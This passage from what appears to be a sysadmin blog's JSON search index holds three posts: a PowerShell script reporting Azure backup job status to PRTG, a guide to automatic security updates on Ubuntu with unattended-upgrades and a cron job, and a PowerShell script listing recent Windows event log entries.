style=\"color:#f92672\"\u003e|\u003c/span\u003e Set\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eAzRecoveryServicesVaultContext\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#75715e\"\u003e# Check backups last 24 hours, only Backup operations\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003e$\u003c/span\u003ejobs \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e Get\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eAzRecoveryServicesBackupJob \u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eFrom (Get\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eDate)\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003eAddDays(\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e)\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003eToUniversalTime() \u003cspan style=\"color:#f92672\"\u003e|\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            Where\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#a6e22e\"\u003eObject\u003c/span\u003e { \u003cspan style=\"color:#f92672\"\u003e$\u003c/span\u003e_\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003eOperation \u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eeq \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Backup\u0026#34;\u003c/span\u003e } \u003cspan style=\"color:#f92672\"\u003e|\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            Select\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#a6e22e\"\u003eObject\u003c/span\u003e Status, WorkloadName\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003e$\u003c/span\u003ecompleted \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e (\u003cspan style=\"color:#f92672\"\u003e$\u003c/span\u003ejobs \u003cspan style=\"color:#f92672\"\u003e|\u003c/span\u003e Where\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#a6e22e\"\u003eObject\u003c/span\u003e {\u003cspan style=\"color:#f92672\"\u003e$\u003c/span\u003e_\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003eStatus \u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eeq \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;Completed\u0026#39;\u003c/span\u003e})\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003eCount\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003e$\u003c/span\u003efailed \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e (\u003cspan style=\"color:#f92672\"\u003e$\u003c/span\u003ejobs \u003cspan style=\"color:#f92672\"\u003e|\u003c/span\u003e Where\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#a6e22e\"\u003eObject\u003c/span\u003e {\u003cspan style=\"color:#f92672\"\u003e$\u003c/span\u003e_\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003eStatus \u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eeq \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;Failed\u0026#39;\u003c/span\u003e})\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003eCount\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003e$\u003c/span\u003erunning \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e (\u003cspan style=\"color:#f92672\"\u003e$\u003c/span\u003ejobs \u003cspan style=\"color:#f92672\"\u003e|\u003c/span\u003e Where\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#a6e22e\"\u003eObject\u003c/span\u003e {\u003cspan style=\"color:#f92672\"\u003e$\u003c/span\u003e_\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003eStatus \u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eeq \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;InProgress\u0026#39;\u003c/span\u003e})\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003eCount\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#75715e\"\u003e# Get unique workload names\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003e$\u003c/span\u003eworkloadNames \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e (\u003cspan style=\"color:#f92672\"\u003e$\u003c/span\u003ejobs \u003cspan style=\"color:#f92672\"\u003e|\u003c/span\u003e Select\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#a6e22e\"\u003eObject\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eExpandProperty WorkloadName \u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eUnique) \u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003ejoin \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;, \u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#75715e\"\u003e# Output for PRTG\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003eif\u003c/span\u003e (\u003cspan style=\"color:#f92672\"\u003e$\u003c/span\u003efailed \u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eeq \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003eand\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e$\u003c/span\u003ecompleted \u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003egt \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e) {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003e$\u003c/span\u003eresult \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u0026lt;prtg\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003e\u0026lt;\u003c/span\u003eresult\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                \u003cspan style=\"color:#f92672\"\u003e\u0026lt;\u003c/span\u003echannel\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003eCompleted jobs\u003cspan style=\"color:#f92672\"\u003e\u0026lt;/\u003c/span\u003echannel\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                \u003cspan style=\"color:#f92672\"\u003e\u0026lt;\u003c/span\u003evalue\u003cspan style=\"color:#f92672\"\u003e\u0026gt;$\u003c/span\u003ecompleted\u003cspan style=\"color:#f92672\"\u003e\u0026lt;/\u003c/span\u003evalue\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                \u003cspan style=\"color:#f92672\"\u003e\u0026lt;\u003c/span\u003eLimitMode\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026lt;/\u003c/span\u003eLimitMode\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                \u003cspan style=\"color:#f92672\"\u003e\u0026lt;\u003c/span\u003eLimitMinError\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026lt;/\u003c/span\u003eLimitMinError\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                \u003cspan style=\"color:#f92672\"\u003e\u0026lt;\u003c/span\u003eLimitErrorMsg\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003eNo completed backups found\u003cspan style=\"color:#f92672\"\u003e!\u0026lt;/\u003c/span\u003eLimitErrorMsg\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003e\u0026lt;/\u003c/span\u003eresult\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003e\u0026lt;\u003c/span\u003eresult\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                \u003cspan style=\"color:#f92672\"\u003e\u0026lt;\u003c/span\u003echannel\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003eFailed jobs\u003cspan style=\"color:#f92672\"\u003e\u0026lt;/\u003c/span\u003echannel\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                \u003cspan style=\"color:#f92672\"\u003e\u0026lt;\u003c/span\u003evalue\u003cspan style=\"color:#f92672\"\u003e\u0026gt;$\u003c/span\u003efailed\u003cspan style=\"color:#f92672\"\u003e\u0026lt;/\u003c/span\u003evalue\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                \u003cspan style=\"color:#f92672\"\u003e\u0026lt;\u003c/span\u003eLimitMode\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026lt;/\u003c/span\u003eLimitMode\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                \u003cspan style=\"color:#f92672\"\u003e\u0026lt;\u003c/span\u003eLimitMaxError\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026lt;/\u003c/span\u003eLimitMaxError\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                \u003cspan style=\"color:#f92672\"\u003e\u0026lt;\u003c/span\u003eLimitErrorMsg\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003eFailed backup jobs detected\u003cspan style=\"color:#f92672\"\u003e!\u0026lt;/\u003c/span\u003eLimitErrorMsg\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003e\u0026lt;/\u003c/span\u003eresult\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003e\u0026lt;\u003c/span\u003eresult\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                \u003cspan style=\"color:#f92672\"\u003e\u0026lt;\u003c/span\u003echannel\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003eRunning jobs\u003cspan style=\"color:#f92672\"\u003e\u0026lt;/\u003c/span\u003echannel\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                \u003cspan style=\"color:#f92672\"\u003e\u0026lt;\u003c/span\u003evalue\u003cspan style=\"color:#f92672\"\u003e\u0026gt;$\u003c/span\u003erunning\u003cspan style=\"color:#f92672\"\u003e\u0026lt;/\u003c/span\u003evalue\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                \u003cspan style=\"color:#f92672\"\u003e\u0026lt;\u003c/span\u003eLimitMode\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026lt;/\u003c/span\u003eLimitMode\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                \u003cspan style=\"color:#f92672\"\u003e\u0026lt;\u003c/span\u003eLimitMaxWarning\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026lt;/\u003c/span\u003eLimitMaxWarning\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                \u003cspan style=\"color:#f92672\"\u003e\u0026lt;\u003c/span\u003eLimitMaxError\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e2\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026lt;/\u003c/span\u003eLimitMaxError\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                \u003cspan style=\"color:#f92672\"\u003e\u0026lt;\u003c/span\u003eLimitWarningMsg\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003eMultiple backup jobs running\u003cspan style=\"color:#f92672\"\u003e\u0026lt;/\u003c/span\u003eLimitWarningMsg\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                \u003cspan style=\"color:#f92672\"\u003e\u0026lt;\u003c/span\u003eLimitErrorMsg\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003eToo many backup jobs running\u003cspan style=\"color:#f92672\"\u003e!\u0026lt;/\u003c/span\u003eLimitErrorMsg\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003e\u0026lt;/\u003c/span\u003eresult\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003e\u0026lt;\u003c/span\u003etext\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003eBackup successful \u003cspan style=\"color:#f92672\"\u003ein\u003c/span\u003e vault: \u003cspan style=\"color:#f92672\"\u003e$\u003c/span\u003e(\u003cspan style=\"color:#f92672\"\u003e$\u003c/span\u003evault\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003eName) \u003cspan style=\"color:#66d9ef\"\u003efor\u003c/span\u003e workloads: \u003cspan style=\"color:#f92672\"\u003e$\u003c/span\u003eworkloadNames\u003cspan style=\"color:#f92672\"\u003e\u0026lt;/\u003c/span\u003etext\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003e\u0026lt;/\u003c/span\u003eprtg\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    } \u003cspan style=\"color:#66d9ef\"\u003eelse\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003e$\u003c/span\u003eresult \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u0026lt;prtg\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003e\u0026lt;\u003c/span\u003eerror\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026lt;/\u003c/span\u003eerror\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003e\u0026lt;\u003c/span\u003etext\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003eBackup failed \u003cspan style=\"color:#f92672\"\u003ein\u003c/span\u003e vault: \u003cspan style=\"color:#f92672\"\u003e$\u003c/span\u003e(\u003cspan style=\"color:#f92672\"\u003e$\u003c/span\u003evault\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003eName), failed jobs: \u003cspan style=\"color:#f92672\"\u003e$\u003c/span\u003efailed, workloads: \u003cspan style=\"color:#f92672\"\u003e$\u003c/span\u003eworkloadNames\u003cspan style=\"color:#f92672\"\u003e\u0026lt;/\u003c/span\u003etext\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003e\u0026lt;/\u003c/span\u003eprtg\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e} \u003cspan style=\"color:#66d9ef\"\u003eelse\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003e$\u003c/span\u003eresult \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u0026lt;prtg\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003e\u0026lt;\u003c/span\u003eerror\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026lt;/\u003c/span\u003eerror\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003e\u0026lt;\u003c/span\u003etext\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003eCould \u003cspan style=\"color:#f92672\"\u003enot\u003c/span\u003e find vault \u003cspan style=\"color:#f92672\"\u003e$\u003c/span\u003eVaultName \u003cspan style=\"color:#f92672\"\u003ein\u003c/span\u003e resource group \u003cspan style=\"color:#f92672\"\u003e$\u003c/span\u003eResourceGroupName\u003cspan style=\"color:#f92672\"\u003e\u0026lt;/\u003c/span\u003etext\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003e\u0026lt;/\u003c/span\u003eprtg\u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWrite\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eHost \u003cspan style=\"color:#f92672\"\u003e$\u003c/span\u003eresult\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e","title":"PRTG Monitor Azure Backups"},{"content":"Keeping your Ubuntu server secure and up-to-date is crucial to minimizing the risk of vulnerabilities. One effective way to ensure timely patching of critical security issues is to enable automatic updates using unattended-upgrades. Here’s how to configure it step by step.\nCronjob Onliner (every sunday 3.00AM):\n# Check current cronjobs sudo crontab -l # Add cronjob for weekly updates with reboot (Sunday 3:00 AM) (sudo crontab -l; echo \u0026#34;0 3 * * 0 /usr/bin/apt-get update \u0026amp;\u0026amp; DEBIAN_FRONTEND=noninteractive /usr/bin/apt-get --assume-yes upgrade \u0026amp;\u0026amp; $(whereis -b reboot | cut -d\u0026#39; \u0026#39; -f2)\u0026#34;) | sudo crontab - # Verify sudo crontab -l Or the real deal :)\nTLDR;\nsudo apt install unattended-upgrades sudo dpkg-reconfigure unattended-upgrades sudo nano /etc/apt/apt.conf.d/50unattended-upgrades sudo nano /etc/apt/apt.conf.d/20auto-upgrades\nStep 1: Install unattended-upgrades First, you need to install the package that handles automatic updates. You can do this by running the following command:\nsudo apt install unattended-upgrades This will install the necessary package to automate the upgrade process.\nStep 2: Configure unattended-upgrades Once the package is installed, you need to configure it. Run the following command to launch the configuration process:\nsudo dpkg-reconfigure unattended-upgrades During this process, you’ll be asked whether you want to enable automatic updates. Make sure to select \u0026ldquo;Yes\u0026rdquo; to enable it.\nStep 3: Adjust Configuration Files To further customize the behavior of automatic updates, you can modify some configuration files.\nOpen the main configuration file to specify which packages to automatically update: sudo nano /etc/apt/apt.conf.d/50unattended-upgrades In this file, you can select specific origins or repositories from which packages should be updated, such as security updates.\nOpen another configuration file to control the frequency of updates: sudo nano /etc/apt/apt.conf.d/20auto-upgrades In this file, you can specify the interval for how often the system should check for updates. It typically looks something like this:\nAPT::Periodic::Update-Package-Lists \u0026#34;1\u0026#34;; APT::Periodic::Unattended-Upgrade \u0026#34;1\u0026#34;; These settings indicate that the package list is updated daily, and the system performs unattended upgrades once a day as well.\nConclusion With these steps, you’ve successfully set up automatic security updates on your Ubuntu server. This will help keep your system secure without needing constant manual intervention. While this is a good practice for keeping your server updated, it\u0026rsquo;s always important to regularly check logs and ensure everything runs smoothly.\n","permalink":"https://blog.wapnet.nl/2024/09/how-to-set-up-automatic-security-updates-on-debian-and-ubuntu/","summary":"\u003cp\u003eKeeping your Ubuntu server secure and up-to-date is crucial to minimizing the risk of vulnerabilities. One effective way to ensure timely patching of critical security issues is to enable automatic updates using \u003ccode\u003eunattended-upgrades\u003c/code\u003e. Here’s how to configure it step by step.\u003c/p\u003e\n\u003cp\u003eCronjob Onliner (every sunday 3.00AM):\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e# Check current cronjobs\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003esudo crontab -l\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e# Add cronjob for weekly updates with reboot (Sunday 3:00 AM)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e(sudo crontab -l; echo \u0026#34;0 3 * * 0 /usr/bin/apt-get update \u0026amp;\u0026amp; DEBIAN_FRONTEND=noninteractive /usr/bin/apt-get --assume-yes upgrade \u0026amp;\u0026amp; $(whereis -b reboot | cut -d\u0026#39; \u0026#39; -f2)\u0026#34;) | sudo crontab -\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e# Verify\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003esudo crontab -l\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eOr the real deal :)\u003c/p\u003e","title":"How to Set Up Automatic Security Updates on Debian and Ubuntu"},{"content":"When managing a Windows environment, analyzing event logs is an essential part of troubleshooting. Windows logs a wide range of system, security, and application events, but sometimes specific problems can arise without easily accessible evidence. For example, when tracking down recent events, it can be cumbersome to manually check each log for relevant entries.\nIn this post, I’ll share a simple PowerShell script that extracts recent log entries across all event logs—not just the default System, Application, and Security logs. This script is particularly useful when you need to quickly review what’s been happening on your machine over the last 5 minutes.\nThe Challenge By default, most users only check System, Application, and Security logs. However, Windows maintains many other event logs that can provide critical information about drivers, devices, or even specific services. Accessing these logs manually via Event Viewer can be tedious and time-consuming. The goal here is to automate this process with PowerShell and make it easier to analyze logs from a specific timeframe—such as the last 5 minutes.\nThe Solution: PowerShell Script Below is the PowerShell script that retrieves recent events from all event logs and displays them in an easy-to-read format.\n# Determine the time from 5 minutes ago $TimeSpan = (Get-Date).AddMinutes(-5)# Fetch all event log names $logNames = Get-WinEvent -ListLog *# Loop through each log and look for recent events foreach ($logName in $logNames.LogName) { # Fetch the last 100 events, suppress errors if no events exist $events = Get-WinEvent -LogName $logName -MaxEvents 100 -ErrorAction SilentlyContinue# If there are events, filter by time if ($events) { $recentEvents = $events | Where-Object { $_.TimeCreated -gt $TimeSpan }# If recent events exist, display them if ($recentEvents) { Write-Host \u0026#34;Log: $logName\u0026#34; -ForegroundColor Cyan $recentEvents | Select-Object TimeCreated, Id, LevelDisplayName, Message | Format-Table -AutoSize } } } How It Works Fetching Log Names: The script starts by retrieving the names of all available event logs on your system using the following command:powershellCopy code $logNames = Get-WinEvent -ListLog * This command lists every log, including ones that are not typically visible in the default Event Viewer console. Setting a Time Filter: The script calculates the timestamp from 5 minutes ago by using Get-Date combined with the AddMinutes() method:powershellCopy code $TimeSpan = (Get-Date).AddMinutes(-5) This value will be used to filter out any events that occurred before this time. Looping Through Logs: The script then loops through each log fetched earlier:powershellCopy code foreach ($logName in $logNames.LogName) { For each log, it pulls the last 100 events using 